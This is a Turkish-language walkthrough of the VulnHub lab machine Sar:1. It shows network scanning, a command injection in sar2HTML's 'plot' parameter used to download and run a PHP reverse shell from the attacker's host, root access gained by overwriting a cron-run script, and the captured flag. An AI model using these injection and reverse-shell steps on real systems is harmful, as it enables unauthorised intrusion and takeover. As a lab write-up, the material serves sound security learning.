VulnHub Sar:1 WriteUp

Vulnhub’da karşıma çıkan sar:1 makinasının çözümü ile karşınızdayım. İlk olarak hedef makinemizin ip adresini bularak başlayalım.

sudo netdiscover

İp adresimizi bulduk şimdi sıra ip adresimize nmap taraması yapalım. Hangi portlar açık ve hangi servisler çalışıyor.

sudo nmap -A 192.168.1.111

Tarama çıktısı geldi gördüğünüz gibi 80 portumuz üzerinde default olarak http servisi çalışıyor versiyonu da “Apache httpd 2.4.29” olduğunu fark ettim . Hemen ip adresimizi tarayıcı üzerinden sitemize bakalım.

Web sayfamızda bir sonuca varamadık hemen bir dizin taraması yapalım linkimize

sudo dirb http://192.168.1.111/

Karşımıza robots.txt çıktı hemen bakalım içinde ne varmış diye.

Robots.txt dizinine gittiğimizde karşımıza sar2HTML yazısı çıkıyor.Hemen sar2HTML dizinine bakıyoruz tarayıcımızdan .

Bu şekilde bir ekran çıktı karşımıza sol üstte “sar2HTML Ver 3.2.1” yazıyoruz hemen exploiti varmi bakalım. Exploit-db üzerinden exploitini bulduk

Burada nasıl kullanacağımızı gösteriyor. Sitemize geri dönelim

http://192.168.1.111/sar2HTML/index.php?plot=;ls

Şeklinde linkimizi düzenlediğimizde komut çalıştırabileceğimizi söylüyor deniyelim.

Mademki burada komut çalıştırabiliyoruz o zaman reverse shell ile bağlantı kurabiliriz diye umuyorum deniyelim .

sudo locate php-reverse-shell

Yukarıdaki komutumuz ile webshellimize ulaşıyoruz . Metin düzenliyicimiz sayesinde ip adresimizi düzenliyoruz.

Local ağda işlem yaptığımız için local ip adresimi girdim ve bir port numarası verdik.Ardından python ile web sunucumuzu aktif hale getirmeliyizki hedef makine üzerinden dosyamızı indirme şansımız olsun.

sudo python -m SimpleHTTPServer 7463

Web sunucumuz aktif şimdi hedef sistemimizin url kısmında get komutu ile hedef sisteme php dosyamızı indirmek için komutumuzu girelim.

192.168.1.111/sar2HTML/index.php?plot=;wget http://192.168.1.106:7463/kernelblog.php

Gördüğünüz gibi ls komutu ile baktığımızda kernelblog.php dosyamızın hedef sistemde olduğunu görüyoruz.Hatırlarsanız php dosyamızda 3647 portunu yazmıştık şimdi sırada o portu dinlemek var .

sudo nc -lvp 3647

Portumuzu dinlemeye başladık şimdi sırada hedef makinada php dosyamızı çalıştırmak.

192.168.1.111/sar2HTML/index.php?plot=;php kernelblog.php

Gördüğünüz gibi bağlantı sağladık . id komutu ile yetkimize bakalım .Verilen çıktıda “uid=33(www-data) gid=33(www-data) groups=33(www-data)” yetkisiz bir kullanıcı olduğumuz gördük şimdi sırada yetki yükseltme için çabalamakta

ls -la

CTF’lerde bu gibi yetkisiz kullanıcı olduğumuzu farkettiğizde kritik bir dosya veya crontab dosyayı varmıdır diye bakarız crontab dosyaları zamanlanmış dosyalardır

etc dizinine girip crontab dosyası varmı diye ve o dosyaya üzerinde ne tür yetkimiz var diye bakıyoruz.

Gördüğünüz gibi dosyayı okumaya yetkimiz var . Cat komutu ile dosyayı okuyalım .

cat crontab

En alt satırda hepimizinde gördüğü gibi “var/www/html/ && sudo ./finally.sh” diye bir komut var en başında 5 dakikada bir belirttiği dizindeki finally dosyasını root yetkisiyle çalıştırdığı söylüyor .Şimdi gösterdiği dizine gidelim ve “ls -la ” ile dizindeki dosyalara bakalım

cd /var/www/html
ls -la

Belirttiği dizine geldik ve finally.sh dosyasını okuyabildiğimizi gördük hemen cat ile dosyanın içine bakalım.

finally.sh dosyamızı açtığımızda içinde write.sh dosyasını çalıştırdığını görüyoruz ve yukarıda “ls -la ” kodunu yazdığımızda write.sh dosyasına yazma iznimizin olduğunu gördük . finally.sh root yetkisi ile çalışıyor bu yüzden write.sh da root yetkisiyle açılır biz eğer write.sh ile shell çalıştırabilirsek yetki yükseltmiş oluruz.O yuzden shell dosyamızı bu dizinede indiriyoruz

wget http://192.168.1.106:5555/kernelblog.php

Komutumuz ile php dosyamızı dizine indirdik .

Yeni dosyamızda port numarası olarak 555 ayarladık o yüzden 555 portunu dinlemeye alıyourz

nc -lvp 555

Şimdi write.sh dosyamıza php dosyamızı çalıştırması için gerekli komutu yazalım

echo “php kernelblog.php” > write.sh

Cat komutu ile dosyamızın içine bakalım

Şimdi 555 portumuzu dinliyorduk 5 dakikada bir çalışan kodumuzu bekliyelim .

Gördüğünüz gibi artık sistemde root olduk şimdi flagi bulmalıyız.

Gördüğünüz gibi root.txt içinde flagimize ulaştık

66f93d6b2ca96c9ad78a8a9ba0008e99

Bir sonraki yazıda görüşmek üzere.

Makineyi indirmek için : Sar 1 indir

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir